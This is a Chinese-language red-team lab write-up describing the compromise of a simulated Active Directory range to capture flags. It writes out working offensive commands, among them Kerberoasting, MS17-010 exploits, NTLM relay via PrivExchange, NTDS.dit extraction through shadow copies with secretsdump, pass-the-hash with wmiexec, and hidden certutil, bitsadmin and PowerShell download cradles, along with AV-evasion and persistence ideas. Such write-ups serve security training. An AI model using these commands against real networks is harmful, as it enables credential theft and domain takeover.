环境为模拟环境,文章使用的均为公开测试工具且未涉及到各个方法的原理。
分享便是我最好的老师。 ——Micropoor
0x00 前言
在渗透测试中,经常会遇到一些奇奇怪怪的环境。本文所采用的环境是一个红蓝对抗靶场,以贴切实际环境为出发点。
- 目的:摸清整个内网拓扑图、获取域控内的flag文件及指定域用户手中的flag。
- 提示:flag{ooxx-ooxx}
初始网络拓扑
0x01 靶机信息收集
因为是模拟环境,所以初始权限为win7域用户权限
(上了RAT–>http协议)。
DKRST011
的基本信息
1 | 机器名: DKRST011 |
在收集信息的时候发现TCP连接
都是内网连接,而RAT的进程连接也是内网,感觉网络有问题。
探测出网情况:此机器为半脱网情况,dns、icmp、udp均不可出来
,http与https协议可出网。所有出网程序连接均为192.10.22.6:8080
,由此初步判断为代理出网情况,且是http无限制出网。
通过对带有password等关键字眼的文件进行搜索拖取,当作储备。
- 内网存活探测
1 | - ICMP |
0x02 对域内信息进行获取
从全盘文件列表中可看到setspn
是存在的,但是在我进行对域信息进行收集的时候发现已经没了(两个操作之间隔着一段时间)。为了方便操作(socks代理
),所以使用Cobalt Strike
上线操作。
1)问题(均为RAT上运行)
Cobalt Strike
免杀问题;powerview
运行无反应(powershell、C#);Bloodhound/Sharphou
运行无反应;setspn.exe
被删除。
2)方案
- 免杀
shellcode
,使用加载器运行,例子 ; Cobalt Strike
的execute-assembly
运行本地相应C#程序;- 使用GetUserSPNs 替换
setspn
使用;1
python GetUserSPNs.py -request -dc-ip 192.10.22.22 pentestlab.com/rcoil
3)域信息的收集结果大致如下
1 | 域控: |
0x03 域控(域管理员)权限获取方法
按照当前权限,梳理出一些知识点,大概可支持当前应用(知识串联)。
1) 常规方法及结果
组策略漏洞(GPP)–> (MS14-025)
1
2
3
4
5
6
7方法:
enum4linux -a -u tk001 -p P@ssw0rd 172.16.88.21 (数据收集)
smbclient //172.16.88.21/SYSVOL -U tk001
或者使用msf
auxiliary/scanner/smb/smb_enum_gpp
[*] 结果:
失败(其实单单看是2016 server系统就知道不会成功)MS17-010
1
2
3
4
5
6
7
8[*]msf
auxiliary smb/ms17_010_command
auxiliary smb/smb_ms17_010
exploit smb/ms17_010_eternalblue
exploit smb/ms17_010_eternalblue_win8
exploit smb/ms17_010_psexec
[*] 结果:
TTT-V_172.16.88.20成功执行命令Kerberoasting
1
2
3
4
5
6
7[*]GetUserSPNs.py
python GetUserSPNs.py -request -dc-ip 192.10.22.22 pentestlab.com/rcoil
关闭Kerberos预身份认证
[*]Rubeus --> https://github.com/GhostPack/Rubeus
Rubeus.exe asreproast # 枚举所有域用户(或者指定)Roasting AS-REPs
[*] 结果:
失败
2) 主流方法及结果
基于资源约束委派(RBCD) –> (未尝试)
1
2
3
4
5
6[2012+域控制器 ] 条件:
[ ] powermad
[ ] powerview
[ ] Rubeus
[ ] SharpAllowedToAct
https://github.com/pkb1s/SharpAllowedToActNTLM中继攻击(未尝试)
1
2
3
4
5
6
7
8[*] Responder
windows版本:https://github.com/Kevin-Robertson/Inveigh(修改函数名绕杀软等方法)
linux版本:https://github.com/SpiderLabs/Responder
[*] mitm6+ntlmrelayx
https://github.com/fox-it/mitm6
https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py
[*] CrackMapExec
https://github.com/byt3bl33d3r/CrackMapExecExchange (未启用Exchange)
1
2
3
4
5
6
7[*] Privexchange
privexchange.py -ah 172.16.238.29 TTT-2.rcoil.local -u tk001 -d rcoil.local -p P@ssw0rd # Privexchange.py对echange进行API调用
ntlmrelayx.py -t ldap://172.16.88.21 --escalate-user tk001 # ntlmrelayx将Exchange服务器的凭据中继到主DC,然后升级tk001的权限
secretsdump.py rcoil/tk001@TTT-2.rcoil.local -just-dc
[*] Exchange2domain --> 一体化的privexchange工具
https://github.com/Ridter/Exchange2domain
3) 辅助工具
- BloodHound –> 映射出活动目录关系
- ADAPE-Script –> AD评估和权限提升脚本
- Invoke-PsUACme –> 绕过UAC
- CrackMapExec –> 查找特权帐户等等等利用
- SILENTTRINITY –> 后期利用
- ….
除了以上这些点,还有很多方法,最无脑的就是查看当前用户具有读权限的域内所有共享,信息收集,翻一轮、
1 | [*] powerview |
0x04 域控权限
TTT-V_172.16.88.20
使用MS17-010
成功执行命令。
域控信息:
1 | 机器名: TTT-V |
往下的思路是这样的:
1 | [*] 本机flag获取 |
1)实施
flag获取
1
2
3
4
5
6[*] dir
dir /s flag
[*] powerview(可选)
Invoke-Filefinder -Threads 100 -Verbose -Terms flag -IncludeC -OutFile C:\Windows\Temp\flags.txt
flag{Genius_only_means_hard-working_all_one's_life}直接反弹
MS17-010
的shell进行操作1
2bind_tcp --> 失败
bind_pipe --> 失败IPC操作
1
2
3
4[*] 不建议之操作
添加添加系统隐藏账号密码进行IPC一系列操作
[*] 域管权限
直接从域控IPC到DKRST011进行工具复制 --> 拒绝访问NTDS.dit
1
2
3
4
5
6
7
8
9
10vssadmin create shadow /for=c:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\NTDS.dit c:\windows\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\SYSTEM c:\windows\temp\system.hive
vssadmin delete shadows /shadow={1xxxxx0b-e47d-xxxx-969f-8xxa4xxxx0xx} /quiet
最后通过 //172.16.88.21/SYSVOL 拖到 DKRST011 机器,本地恢复
python secretsdump.py -ntds /root/ntds.dit -system /root/SYSTEM LOCAL
域管理员的password为hash格式。
后使用 CrackMapExec、wmiexec等工具进行进一步测试。注:调用
Volume Shadow Copy
服务会产生日志文件,位于System下,Event ID为7036
2)遇到问题
执行以下命令:1
wmiexec.py -hashes LMHASH:NTHASH rcoil/administrator@172.16.238.29 "c:\\payload.exe"
Cobalt Strike
未上线,这个情况其实是第一次见。
以多种形式的payload
运行也无果。
确认非协议问题,因为以同样的程序,在域用户权限下正常启动并上线。
3)方案
- 获取明文密码,计划任务启动;
- 添加
HKLM自启注册表
0x05 获取域管明文密码
使用powerview
查询域管登陆过的机器:1
2
3
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
最后选择了172.16.10.29
的win 2008 server
的机器,而且这台机器上存在AdAudit Plus
。
由于目前没有任何容器可提供文件传输,所以自建。
在
DKRST011
机器创建FTP
或者Web
服务;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16import SimpleHTTPServer
import SocketServer
import sys
PORT = 80
if len(sys.argv) != 2:
print("use: web.exe port")
else:
PORT = int(sys.argv[1])
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)
print "SimpleHTTPServer is ", PORT
print "by k8gege"
httpd.serve_forever()
来源:https://raw.githubusercontent.com/k8gege/K8tools/master/web.py
注:这类型操作也需要添加防火墙规则,防止弹窗
netsh advfirewall firewall add rule name="web.exe" dir=in program="c:\Users\Public\Downloads\web.exe" action=allow使用
certutil
、bitsadmin
、powersehll
等自带程序下载;1
2
3[*] certutil -urlcache -split -f http://172.16.238.29/1.rar 2.rar
[*] bitsadmin /rawreturn /transfer 任务名 http://172.16.238.29/1.rar 2.rar
[*] powershell -WindowStyle Hidden "IEX (New-Object Net.WebClient).DownloadFile('http://172.16.238.29/1.rar','c:\windows\temp\ 2.rar')"这里有人就会问了,为什么不将需要使用的东西放入到域共享目录里面,原因是要操作的机器访问域共享提示无法访问。
往下就是Procdump
的一些操作,成功获取到明文密码。
1 | [*] 高权限计划任务启动CS服务端,未上线。 |
0x05 其余flag获取
从提示与目的来判断,剩下的2个flag
位于demo.rcoil.local域
的域控、域用户名为flagav
的机器上。
flagav
用户机器
直接从AdAudit Plus
获取到域用户flagav
的登陆情况,这样就不用去翻日志了。
使用CrackMapExec
、wmiexec
等工具执行命令查找flag:1
flag{Cease_to_struggle_and_you_cease_to_live}
子域域控flag
使用主域控的域管可直接登陆子域的域控
1 | flag{Success_grows_out_of_struggles_to_overcome_difficulties} |
0x0x 最后的拓扑
好多没去了解,就草草结束了。
免责声明:文章中所提到的工具/教程,不得用于商业或非法用途,否则后果自负。